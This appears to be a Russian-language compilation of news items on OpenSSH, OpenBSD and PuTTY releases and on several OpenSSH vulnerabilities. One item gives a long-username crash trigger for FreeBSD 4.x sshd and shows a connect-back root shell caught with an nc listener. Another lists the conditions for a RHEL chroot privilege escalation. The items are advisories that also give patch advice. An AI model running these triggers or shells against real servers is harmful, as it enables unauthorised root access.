Как всегда по графику вышел очередной релиз популярнейшего набора утилит для безопасной связи между компьютерами OpenSSH. Это в основном багфикс-релиз (схема назначения версий такая же, как в основном проекте OpenBSD и не зависит от кардинальности изменений).
Следует отметить, что в этой версии появилась поддержка разделения привилегий с использованием seccomp sandbox в Линуксе (пока объявлена экспериментальной), а также реализована возможность отмены перенаправления портов при использовании мультиплексирования сессии.
Точно по расписанию, 1 ноября 2011 года, вышла версия 5.0 операционной системы OpenBSD, позиционирующейся как наиболее безопасная среди существующих свободных и лицензионно чистых операционных систем. Согласно схеме нумерации версий, принятой в OpenBSD ещё с версии 2.0 (принцип десятых долей — новая версия отличается на 0.1 от предыдущей), OpenBSD 5.0 не является мажорным релизом, продолжая традиции, заложенные в более ранних версиях системы.
Основные изменения в системе:
поддержка >4GB оперативной памяти во всех возможных архитектурах (наконец-то amd64 будет поддерживать большое количество памяти);
ACPI драйвер для ноутбуков Toshiba acpitoshiba(4);
утилита fw_update(1) для установки и обновления закрытых прошивок, исполняющаяся, в том числе, при первом запуске установленной системы;
поддержка Wake on LAN сетевой инфраструктурой системы и драйверами xl(4), re(4) и vr(4);
ICMP-редиректы больше не поддерживаются стеком IPv4 при работе в режиме роутера, стек IPv6 не поддерживает их по умолчанию;
устранены ошибки в carp(4) для возможности работы в IPv6-only режиме;
устранены ошибки и добавлены возможности в демоны маршрутизации bgpd(8), ospfd(8), ospf6d(8);
очередные изменения в работе pf(4): реассемблирование пакетов IPv6, перевод ftp-proxy(8) и tftp-proxy(8) на работу с divert-to вместо rdr-to и ряд других;
множество улучшений в подсистеме SCSI;
удалена поддержка совместимости запуска бинарников других систем, за исключением Linux, поддержка совместимости с Linux на i386 незначительно улучшена;
масса изменений в ядре и пользовательской среде, направленных на обеспечение совместимости с POSIX 2008 и поддержку UTF-8;
полная поддержка так называемых Disklabel Unique Identifiers (DUID), позволяющая обращаться к разделам без указания имён устройств;
фреймворк rc.d(8), представленный в 4.9, используется также для запуска системных демонов.
В базовую систему включён ранее вышедший OpenSSH 5.9.
Как и ранее, загрузка и установка с CD поддерживается для архитектур amd64, i386, macppc и sparc64.
Для системы подготовлено более 7200 портов, среди которых KDE 3.5.10, Gnome 2.32.2, Xfce 4.8.0, LibreOffice 3.4.1.3, Chromium 12.0.742.122 и многие другие.
Поставляемая сборка Xorg под названием Xenocara базируется на X.Org 7.6 (xserver 1.9 + патчи, freetype 2.4.5, fontconfig 2.8.0, Mesa 7.8.2, xterm 270, xkeyboard-config 2.3 и др.).
Появилась версия 5.9 открытой реализации клиента и сервера с поддержкой SSH-протокола — OpenSSH. Данный релиз впервые представляет экспериментальную функцию «песочницы», налагающей ограничения на осуществление определённых системных вызовов.
Цель создания «песочницы» заключается в установке барьера на пути атаки на другие узлы сети, например, посредством создания прокси или открытия сокетов, а также локальных атак на систему.
Предоставляется три реализации «песочницы»:
systrace использует systrace(4) со списком разрешённых системных вызовов, остальным посылается сигнал SIGKILL; данный режим осуществим только при активации новой опции ядра SYSTR_POLICY_KILL, существующей на данный момент только в OpenBSD;
seatbelt использует возможности OS X/Darwin sandbox(7) с политиками, запрещающими доступ к файловой системе и сети;
rlimit выбирается в случае, если предыдущие два режима не могут быть реализованы, и использует setrlimit() для запрета порождения новых процессов и файловых дескрипторов.
В «песочнице» запускается дочерний процесс для обработки SSH-протокола, сжатия и выполнения части криптографических операций, не относящихся к аутентификации.
После четырёх лет разработки 12 июля вышла новая версия PuTTY.
В этой версии:
Kerberos/GSSAPI аутентификация в SSH-2.
Поддержка локальной авторизации X11 в Windows.
Поддержка немоноширинных шрифтов в Windows.
Поддержка GTK2 в Unix.
Поддержка логических имён машин независимо от их физических адресов.
Оптимизации управления потоками и криптографии.
Поддержка метода сжатия zlib@openssh.com SSH-2.
Поддержка новых свойств интерфейса Windows 7.
Поддержка шифрованных личных ключей OpenSSH AES в PuTTYgen.
Личные ключи OpenSSH с простыми числами теперь поддерживаются в любом порядке.
Исправлены сбои проброски портов.
Исправлены различные сбои и зависания при ошибках.
Исправлено подвисание последовательного порта в Windows.
Асинхронный буфер обмена в случае, если владелец буфера обмена находится на удалённой машине (через проброску портов или туннель rdesktop), что избавляет от тупиковых блокировок.
В списке рассылки full-disclosure представлена критическая уязвимость в используемой во FreeBSD 4.x версии OpenSSH, позволяющая удаленному злоумышленнику без аутентификации получить root-доступ к системе. Уже создан и публично опубликован эксплоит, позволяющий получить привилегированный shell на подверженных уязвимости серверах.
Уязвимость проявляется для протоколов SSH1 и SSH2. Проблема вызвана ошибкой в реализации аутентификации с использованием PAM на платформе FreeBSD. Проблема присутствует в функции «pam_thread()» из файла auth2-pam-freebsd.c. Начиная с версии FreeBSD 5.2 содержащий уязвимость файл auth2-pam-freebsd.c был заменен новой реализацией, т.е. с большой долей вероятности можно утверждать, что новые версии FreeBSD проблеме не подвержены. 100% уверенности пока нет, так как точно не ясно, не перекочевал ли проблемный код в какие-либо библиотеки PAM или сторонние реализации OpenSSH, используемые и поныне. Детальный аудит ещё предстоит провести.
Ошибка проявляется при передаче слишком длинного имени пользователя. Простой способ проверить наличие уязвимости - попытаться обратиться к своему серверу, указав логин порядка 100 символов. Например:
#ssh -l`perl -e 'print "A" x 100'` хост
, в случае проблемы, можно наблюдать крах рабочего процесса sshd и вывод в лог /var/log/messages сообщения «/kernel: pid N (sshd), uid 0: exited on signal 11 (core dumped)». Изучение core-дампа показало, что проблема подвержена эксплуатации, так как атакующий может контролировать указатель перехода и позиционировать его на shellcode. Прототип рабочего эксплоита был успешно создан путем небольшой модификации кода ssh-клиента из пакета OpenSSH 5.8p2.
$ ./ssh -1 192.168.1.1
$ nc -v -l -p 10000
listening on [any] 10000 ...
192.168.1.1: inverse host lookup failed: Unknown host
connect to [192.168.1.1] from (UNKNOWN) [192.168.1.2] 1038
uname -a
FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005 /GENERIC i386
id
uid=0(root) gid=0(wheel) groups=0(wheel)
Поддержка ветки FreeBSD 4.x прекращена ещё в 2007 году, но данная версия все еще используется на некоторых серверах в сети. Пользователям версии FreeBSD 4.x рекомендуется срочно обновить OpenSSH до более новой версии. В качестве обходного пути решения проблемы следует разрешить через пакетный фильтр доступ по SSH только для доверительных хостов и отключить поддержку PAM, указав в настройках «ChallengeResponseAuthentication no». Информации о возможности поражения других операционных систем, использующих устаревшие версии OpenSSH с реализацией поддержки PAM от проекта FreeBSD, пока нет.
Сегодня, 1 мая 2011 года, вышла новая версия популярной операционной системы OpenBSD, на этот раз за номером 4.9.
OpenBSD — свободная многоплатформенная операционная система, основанная на 4.4BSD. Основным отличием OpenBSD от других свободных BSD-систем (NetBSD, FreeBSD), является изначальная ориентированность проекта на создание наиболее безопасной, свободной и лицензионно чистой из существующих операционных систем.
Изменения, специфические для платформ:
Поддержка NTFS (только чтение) включена по умолчанию (i386/amd64).
Включен драйвер vmt для VMWare tools в режиме гостя (i386/amd64).
Ядра с поддержкой SMP теперь можно загружать на машинах с количеством ядер до 64 (i386/amd64).
Поддержка >16 дисков при поиске ядра для загрузки (i386/amd64)
Поддержка набора инструкций AES-NI, доступного на современных процессорах Intel (i386/amd64)
Улучшенная поддержка ждущего режима (i386/amd64)
Переключение процессов на TSS per cpu на amd64, таким образом, убрано ограничение в ~4000 процессов.
Поддержка многопроцессорных машин архитектуры HPPA:
На всех MIPS64-платформах (в том числе Loongson) включена поддержка набора операций с плавающей запятой MIPS IV с помощью кода MI softfloat.
Поддержка протокола vDisk 1.1 драйвером vdsp на SPARC64, теперь позволяет запускать Solaris поверх домена контроля OpenBSD
Как всегда, улучшена поддержка оборудования. Теперь OpenBSD поддерживает многие 3G-модемы с помощью драйвера umsm, больше сетевых в том числе беспроводных карт и даже сенсор, отслеживающий дрожание и подергивание коленок пользователя (YUREX USB)
Улучшения в сетевом стеке: новая опция ifconfig — wpakey вместо старой wpa-psk, так что можно задавать пароль для доступа к сети напрямую в команде, поддержка декодирования mDSN-трафика в tcpdump, поддержка AES-GCM в IPsec и многое другое
Проведенный аудит стека IPsec позволил выявить и исправить несколько потенциальных проблем безопасности, код PRNG, базирующийся на ARC4 был проверен и переделан, введена новая функция ядра explicit_bzero, предотвращающая «оптимизацию» вызова функции bzero калькулятором.
Включена поддержка «широких» символов в ncurses
Новая утилита video, позволяющая записывать видео с устройств, поддерживаемых одноименным драйвером (с использованием API Video for Linux 2)
Улучшения в tmux
Специфическая для OpenBSD документация по пакетам централизована в /usr/local/share/doc/pkg-readmes.
Убраны некоторые «гонки» в подсистеме USB, чем существенно увеличена её надёжность
Изменения в процессе установки/обновления системы:
Теперь можно посмотреть список видимых сетей и даже настроить WPA для них (прямо в самом установщике)
При обновлении теперь задаётся вопрос, должно ли оно продолжаться при невозможности монтирования нескольких файловых систем
Улучшения в OpenBGPD, OpenOSPFD и других демонах роутинга
Переписана подсистема ведения логов pf (packet filter)
Новый rc.d для запуска, остановки и перенастройки демонов.
Новый фреймворк rc.subr для лёгкого создания rc-скриптов
rc.local всё ещё можно использовать вместо или в дополнение к rc.d
OpenSSH 5.8 с многочисленными улучшениями
Множество собранных пакетов, в том числе:
Gnome 2.32.1, KDE 3.5.10, Xfce 4.8.0
MySQL 5.1.54, PostgreSQL 9.0.3.
Mozilla Firefox 3.5.16 и 3.6.13 и Mozilla Thunderbird 3.1.7.
Chromium 9.0.597.94.
OpenOffice.org 3.3.0rc9 и LibreOffice 3.3.0.4.
Emacs 21.4 и 22.3, Vim 7.3.3
В саму систему включены приложения сторонних разработчиков:
Xenocara на базе X.Org 7.6 с патченным xserver 1.9, freetype 2.4.4, fontconfig 2.8.0, Mesa 7.8.2, xterm 267
Этот выпуск является корректирующим и не вносит новой функциональности.
Список изменений по сравнению с версией 5.4:
Опция AuthorizedKeysFile снова работает с путями относительно $HOME
Исправлены проблемы компиляции на платформах с отсутствующим dlopen()
Протоколирование аутентификации пользовательских сертификатов происходит теперь более согласовано между методами TrustedUserCAKeys и authorized_keys
Исправлено шесть ошибок в переносимой версии OpenSSH, в частности теперь ChrootDirectory работает при включенном SELinux, добавлена поддержка HaikuOS в configure.ac, а на FreeBSD включено использование utmpx
SSH идеально подходит для сохранения конфиденциальности и обеспечения целостности данных при обмене данными между двумя сетями или системами. Основным его преимуществом является аутентификация на сервере с использованием криптографии с открытым ключом. Однако эту службу необходимо грамотно настроить.
В пакете openssh-server, входящем в состав Red Hat Enteprise Linux 5.4 и Fedora 11, обнаружена опасная уязвимость, потенциально позволяющая удаленному пользователю выполнить произвольный код с правами root.
Уязвимость вызвана некорректным бэкпортированием поддержки ChrootDirectory в используемую в RHEL версию openssh 4.3. В бэкпорте, сделанном Red Hat, допускается, что ChrootDirectory может быть доступен для записи обычным пользователям системы. В результате, злоумышленник может поместить в chroot жесткие ссылки на setuid-программы из основной системы. При запуске эти программы будут использовать библиотеки и файлы конфигурации, размещенные в ChrootDirectory, что позволяет злоумышленнику выполнить произвольный код с привилегиями root, но без возможности выйти за пределы chroot-окружения.
Для успешной эксплуатации этой уязвимости необходимо:
Наличие доступа к консоли без chroot, для того, чтобы сделать hardlink на suid-файл внутри chroot-окружения.
Нахождение требуемой setuid-программы в одной файловой системе с chroot-окружением (иначе не удастся сделать жесткую ссылку).
Обновления доступны уже две недели. Не забываем обновляться каждое утро!
Состоялся релиз OpenSSH 5.3, полностью открытой реализации протокола SSH версий 1.3, 1.5 и 2.0
Это релиз призван отметить десятилетний юбилей проекта OpenSSH. Релиз носит характер исправлений и не добавляет новой функциональности. Исправлено 2 незначительные ошибки в основной версии и 13 в версии, предназначенной для портирования.
Исходные тексты будут в скорости доступны на основном сайте проекта OpenSSH.org
Участники хотели бы поблагодарить своих верных пользователей, которые поддерживали проект все эти годы, в особенности тех, кто писал багрепорты и присылал патчи.
А мы в свою очередь поблагодарим разработчиков и поздравим их: с юбилеем, OpenSSH!
Исследователи из Royal Holloway, University of London обнаружили уязвимость в OpenSSH, позволяющую злоумышленнику с вероятностью 2^{-18} (один случай из 262,144) расшифровать кусок передаваемых данных длиной в 32 бита.
Злоумышленник перехватывает зашифрованные блоки, посылаемые клиентом, и пересылает их на сервер. Подсчитывая количество байт, переданных до разрыва соединения сервером, он может определить содержимое первых четырех байт незашифрованного блока.
Такая атака основывается на дырах в дизайне OpenSSH, в то время как предыдущие уязвимости в основном относились к ошибкам в коде.
Gentoo Linux Security Advisory GLSA 200804-03
Date: April 05, 2008
Локальный атакующий может перехватить forwarded X11-сессии других пользователей и, возможно, исполнить произвольный код с их привилегиями, перехватить важные данные и устроить атаку типа "отказ в обслуживании".